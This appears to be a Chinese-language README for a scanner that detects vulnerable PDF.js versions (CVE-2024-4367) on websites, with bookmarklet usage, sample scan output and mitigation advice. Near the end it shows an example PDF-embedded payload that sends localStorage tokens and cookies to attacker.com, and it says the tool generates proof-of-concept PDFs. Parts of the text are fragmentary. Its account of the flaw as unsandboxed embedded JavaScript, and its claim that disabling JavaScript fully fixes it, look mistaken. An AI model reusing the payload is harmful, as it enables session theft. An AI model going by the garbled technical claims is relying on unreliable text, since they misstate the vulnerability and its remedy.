⚠️ 关键安全工具 | 检测 CVE-2024-4367(CVSS 9.8)- PDF.js 远程代码执行漏洞
适用于任何网站 - 零配置
CVE-2024-4367 是 PDF.js(版本 < 4.2.67)中的一个关键漏洞,允许通过恶意 PDF 文件执行任意 JavaScript。此扫描器能自动检测任何网站上存在漏洞的 PDF.js 实例。
PDF.js 存在一个缺陷,即 PDF 文件中嵌入的 JavaScript 未经正确沙箱化即被执行,允许攻击者:
F12 打开开发者工具Enter创建一个书签,URL 如下:
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# 打开任何网站并运行脚本
<embed> 元素<object> 数据标签?pdf=、?file=、?src=).pdf 的文件输入字段┌─────────────────────────────────────────────────────────────┐
│ 扫描流程 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 📚 加载脚本 │
│ ├─ 外部脚本(所有 <script src="">) │
│ └─ 内联脚本(所有 <script> 标签) │
│ │
│ 2. 🔍 提取 PDF.js 版本 │
│ ├─ 代码中的模式匹配 │
│ ├─ 检测 Package.json │
│ └─ 解析 Node_modules 路径 │
│ │
│ 3. 🎯 识别漏洞 │
│ ├─ 版本 < 4.2.67 ? → 存在漏洞 │
│ └─ 版本 = 2.16.105 ? → 存在漏洞 │
│ │
│ 4. 🖼️ 定位查看器 │
│ ├─ DOM 元素扫描 │
│ └─ 属性检测 │
│ │
│ 5. ⚡ 生成 PoC │
│ ├─ 创建测试 PDF │
│ └─ 提供下载链接 │
│ │
│ 6. 📊 显示结果 │
│ ├─ 可视覆盖层 │
│ ├─ 控制台报告 │
│ └─ 全局变量存储 │
│ │
└─────────────────────────────────────────────────────────────┘
╔═══════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2024-4367 - 通用 PDF.js 扫描器 ║
║ 检测存在漏洞的 PDF.js 版本及潜在攻击方式 ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
📚 阶段 1:扫描 JavaScript 包以查找 PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 发现 42 个外部脚本
[+] 发现 12 个内联脚本
[1/42] 分析中: vendor.bundle.js
→ 发现 PDF.js 指示符: pdfjs-dist
✅ 找到 PDF.js 版本: 2.16.105
🚨 存在 CVE-2024-4367 漏洞!
🎯 阶段 4:识别攻击向量
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
⚠️ URL 参数接受 PDF: file=/documents/report.pdf
⚠️ 发现 PDF 上传表单
█████████████████████████████████████████████████████████████████████████████████
最终扫描报告
█████████████████████████████████████████████████████████████████████████████████
🚨 确认存在严重漏洞!
CVE: CVE-2024-4367
CVSS: 9.8(严重)
影响:任意 JavaScript 执行
┌─────────────────────────────────────────────────────────────┐
│ CVE-2024-4367 扫描结果 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 📍 目标: example.com │
│ 📦 PDF.js: 2.16.105 │
│ 🎯 存在漏洞: 是 │
│ 📄 查看器: 3 │
│ ⚡ 攻击向量: 2 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 🔴 严重 - 需要升级 │
└─────────────────────────────────────────────────────────────┘
# 对于 Node.js 项目
npm install pdfjs-dist@latest
# 对于 CDN 使用
# 更新到 4.2.67 或更高版本
// 在加载 PDF.js 之前设置
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;
Content-Security-Policy: script-src 'self';
object-src 'none';
worker-src 'none'
// 在渲染前验证 PDF 文件
function validatePDF(file) {
// 检查魔数
const header = file.slice(0, 5);
if (header !== '%PDF-') {
throw new Error('无效的 PDF 文件');
}
// 扫描 JavaScript
const text = file.toString();
if (text.includes('/JavaScript') ||
text.includes('/JS') ||
text.includes('<< /S /JavaScript >>')) {
throw new Error('PDF 包含 JavaScript');
}
}
| 解决方案 | 难度 | 效果 |
|---|---|---|
| 升级 PDF.js | 简单 | ✅ 完全修复 |
| 在 PDF.js 中禁用 JS | 简单 | ✅ 完全修复 |
| 实施 CSP | 中等 | ✅ 良好 |
| 服务器端验证 | 中等 | ✅ 良好 |
| 沙箱化渲染 | 困难 | ✅ 优秀 |
URL 参数
/viewer?file=malicious.pdf
/download?pdf=malicious.pdf
文件上传
<input type="file" accept=".pdf">
嵌入查看器
<embed src="malicious.pdf">
API 端点
/api/documents/123/download
/api/report/pdf
// PDF 嵌入的 JavaScript
this.alert('CVE-2024-4367 已被利用!');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie
})
});
安装扫描器
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
运行扫描器
# 打开目标网站
# 在控制台中粘贴扫描器
# 或使用书签脚本
分析结果
下载 PoC PDF(如果存在漏洞)